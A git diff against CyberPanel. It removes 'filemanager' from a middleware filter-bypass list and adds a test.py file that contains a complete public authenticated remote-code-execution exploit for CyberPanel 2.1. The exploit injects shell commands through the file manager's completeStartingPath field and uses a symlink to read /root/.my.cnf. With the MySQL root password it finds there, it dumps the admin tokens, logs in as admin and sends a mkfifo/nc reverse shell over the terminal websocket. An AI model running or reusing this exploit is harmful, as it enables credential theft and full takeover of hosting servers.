diff --git a/CyberCP/secMiddleware.py b/CyberCP/secMiddleware.py index 46f683235..47e5086c5 100755 --- a/CyberCP/secMiddleware.py +++ b/CyberCP/secMiddleware.py @@ -72,7 +72,7 @@ class secMiddleware: final_json = json.dumps(final_dic) return HttpResponse(final_json) - if request.build_absolute_uri().find('api/verifyConn') > -1 or request.build_absolute_uri().find('webhook') > -1 or request.build_absolute_uri().find('saveSpamAssassinConfigurations') > -1 or request.build_absolute_uri().find('docker') > -1 or request.build_absolute_uri().find('cloudAPI') > -1 or request.build_absolute_uri().find('filemanager') > -1 or request.build_absolute_uri().find('verifyLogin') > -1 or request.build_absolute_uri().find('submitUserCreation') > -1: + if request.build_absolute_uri().find('api/verifyConn') > -1 or request.build_absolute_uri().find('webhook') > -1 or request.build_absolute_uri().find('saveSpamAssassinConfigurations') > -1 or request.build_absolute_uri().find('docker') > -1 or request.build_absolute_uri().find('cloudAPI') > -1 or request.build_absolute_uri().find('verifyLogin') > -1 or request.build_absolute_uri().find('submitUserCreation') > -1: continue if key == 'recordContentAAAA' or key == 'backupDestinations' or key == 'ports' \ or key == 'imageByPass' or key == 'passwordByPass' or key == 'cronCommand' \ diff --git a/plogical/test.py b/plogical/test.py index e69de29bb..88ad1362c 100644 --- a/plogical/test.py +++ b/plogical/test.py @@ -0,0 +1,233 @@ +# Title: CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated) +# Date: 27.08.2021 +# Author: Numan Türle +# Vendor Homepage: https://cyberpanel.net/ +# Software Link: https://github.com/usmannasir/cyberpanel +# Version: <=2.1 +# https://www.youtube.com/watch?v=J_8iLELVgkE + + +# !/usr/bin/python3 +# -*- coding: utf-8 -*- +# CyberPanel - Remote Code Execution (Authenticated) +# author: twitter.com/numanturle +# usage: cyberpanel.py [-h] -u HOST -l LOGIN -p PASSWORD [-f FILE] +# cyberpanel.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password + + +import argparse, requests, warnings, json, re, base64, websocket, ssl, _thread, time +from requests.packages.urllib3.exceptions import InsecureRequestWarning +from cmd import Cmd + +warnings.simplefilter('ignore', InsecureRequestWarning) + + +def init(): + parser = argparse.ArgumentParser(description='CyberPanel Remote Code Execution') + parser.add_argument('-u', '--host', help='Host', type=str, required=True) + parser.add_argument('-l', '--login', help='Username', type=str, required=True) + parser.add_argument('-p', '--password', help='Password', type=str, required=True) + parser.add_argument('-f', '--file', help='File', type=str) + args = parser.parse_args() + exploit(args) + + +def exploit(args): + def on_open(ws): + verifyPath, socket_password + print("[+] Socket connection successful") + print("[+] Trying a reverse connection") + ws.send(json.dumps({"tp": "init", "data": {"verifyPath": verifyPath, "password": socket_password}})) + ws.send(json.dumps( + {"tp": "client", "data": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1337 >/tmp/f\r", + "verifyPath": verifyPath, "password": socket_password})) + ws.close() + + def on_close(ws, close_status_code, close_msg): + print("[+] Successful") + print("[!] Disconnect from socket") + + session = requests.Session() + target = "https://{}:8090".format(args.host) + username = args.login + password = args.password + + print("[+] Target {}".format(target)) + + response = session.get(target, verify=False) + session_hand = session.cookies.get_dict() + token = session_hand["csrftoken"] + + print("[+] Token {}".format(token)) + + headers = { + 'X-Csrftoken': token, + 'Cookie': 'csrftoken={}'.format(token), + 'Referer': target + } + + login = session.post(target + "/verifyLogin", headers=headers, verify=False, + json={"username": username, "password": password, "languageSelection": "english"}) + login_json = json.loads(login.content) + + if login_json["loginStatus"]: + session_hand_login = session.cookies.get_dict() + + print("[+] Login Success") + print("[+] Send request fetch websites list") + + headers = { + 'X-Csrftoken': session_hand_login["csrftoken"], + 'Cookie': 'csrftoken={};sessionid={}'.format(token, session_hand_login["sessionid"]), + 'Referer': target + } + + feth_weblist = session.post(target + "/websites/fetchWebsitesList", headers=headers, verify=False, + json={"page": 1, "recordsToShow": 10}) + feth_weblist_json = json.loads(feth_weblist.content) + + if feth_weblist_json["data"]: + + weblist_json = json.loads(feth_weblist_json["data"]) + domain = weblist_json[0]["domain"] + domain_folder = "/home/{}".format(domain) + + print("[+] Successfully {} selected".format(domain)) + print("[+] Creating ssh pub") + + remove_ssh_folder = session.post(target + "/filemanager/controller", headers=headers, verify=False, + json={"path": domain_folder, "method": "deleteFolderOrFile", + "fileAndFolders": [".ssh"], "domainRandomSeed": "", + "domainName": domain, "skipTrash": 1}) + create_ssh = session.post(target + "/websites/fetchFolderDetails", headers=headers, verify=False, + json={"domain": domain, "folder": "{}".format(domain_folder)}) + create_ssh_json = json.loads(create_ssh.content) + + if create_ssh_json["status"]: + key = create_ssh_json["deploymentKey"] + + print("[+] Key : {}".format(key)) + + explode_key = key.split() + explode_username = explode_key[-1].split("@") + + if explode_username[0]: + username = explode_username[0] + hostname = explode_username[1] + + print("[+] {} username selected".format(username)) + print("[+] Preparing for symlink attack") + print("[+] Attempting symlink attack with user-level command execution vulnerability #1") + + target_file = args.file + if not target_file: + target_file = "/root/.my.cnf" + domain_folder_ssh = "{}/.ssh".format(domain_folder) + command = "rm -rf {}/{}.pub;ln -s {} {}/{}.pub".format(domain_folder_ssh, username, target_file, + domain_folder_ssh, username) + + completeStartingPath = "{}';{};'".format(domain_folder, command) + print('complete starting path: %s' % completeStartingPath) + time.sleep(5) + # filemanager/controller - completeStartingPath - command execution vulnerability + + symlink = session.post(target + "/filemanager/controller", headers=headers, verify=False, + json={"completeStartingPath": completeStartingPath, "method": "listForTable", + "home": domain_folder, "domainRandomSeed": "", "domainName": domain}) + symlink_json = json.loads(symlink.content) + + if symlink_json["status"]: + print("[+] [SUDO] Arbitrary file reading via symlink --> {} #2".format(target_file)) + + read_file = session.post(target + "/websites/fetchFolderDetails", headers=headers, verify=False, + json={"domain": domain, "folder": "{}".format(domain_folder)}) + read_file_json = json.loads(read_file.content) + read_file = read_file_json["deploymentKey"] + if not args.file: + print("-----------------------------------") + print(read_file.strip()) + print("-----------------------------------") + + mysql_password = re.findall('password=\"(.*?)\"', read_file)[0] + steal_token = "rm -rf token.txt;mysql -u root -p\"{}\" -D cyberpanel -e \"select token from loginSystem_administrator\" > '{}/token.txt".format( + mysql_password, domain_folder) + + print("[+] Fetching users tokens") + + completeStartingPath = "{}';{}".format(domain_folder, steal_token) + steal_token_request = session.post(target + "/filemanager/controller", headers=headers, + verify=False, + json={"completeStartingPath": completeStartingPath, + "method": "listForTable", "home": domain_folder, + "domainRandomSeed": "", "domainName": domain}) + token_file = domain_folder + "/token.txt" + steal_token_read_request = session.post(target + "/filemanager/controller", headers=headers, + verify=False, json={"fileName": token_file, + "method": "readFileContents", + "domainRandomSeed": "", + "domainName": domain}) + leak = json.loads(steal_token_read_request.content) + leak = leak["fileContents"].replace("Basic ", "").strip().split("\n")[1:] + print("------------------------------") + for user in leak: + b64de = base64.b64decode(user).decode('utf-8') + exp_username = b64de.split(":") + if exp_username[0] == "admin": + admin_password = exp_username[1] + print("[+] " + b64de) + print("------------------------------") + print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") + print("[+] Try login admin") + + headers = { + 'X-Csrftoken': token, + 'Cookie': 'csrftoken={}'.format(token), + 'Referer': target + } + login_admin = session.post(target + "/verifyLogin", headers=headers, verify=False, + json={"username": "admin", "password": admin_password, + "languageSelection": "english"}) + login_json = json.loads(login_admin.content) + if login_json["loginStatus"]: + session_hand_login = session.cookies.get_dict() + + print("[+] 4dm1n_l061n_5ucc355") + print("[+] c0nn3c71n6_70_73rm1n4l") + headers = { + 'X-Csrftoken': session_hand_login["csrftoken"], + 'Cookie': 'csrftoken={};sessionid={}'.format(token, + session_hand_login["sessionid"]), + 'Referer': target + } + + get_websocket_token = session.get(target + "/Terminal", headers=headers, verify=False) + verifyPath = \ + re.findall('id=\"verifyPath\">(.*?)', str(get_websocket_token.content))[-1] + socket_password = \ + re.findall('id=\"password\">(.*?)', str(get_websocket_token.content))[-1] + print("[+] verifyPath {}".format(verifyPath)) + print("[+] socketPassword {}".format(socket_password)) + print("[+] Trying to connect to socket") + ws = websocket.WebSocketApp("wss://{}:5678".format(args.host), + on_open=on_open, + on_close=on_close) + ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE}) + + else: + print("[-] Auto admin login failed") + else: + print(read_file) + else: + print("[-] Unexpected") + else: + print("[-] Username selected failed") + else: + print("[-] Fail ssh pub") + else: + print("[-] List error") + else: + print("[-] AUTH : Login failed msg: {}".format(login_json["error_message"])) + + +if __name__ == "__main__": + init() \ No newline at end of file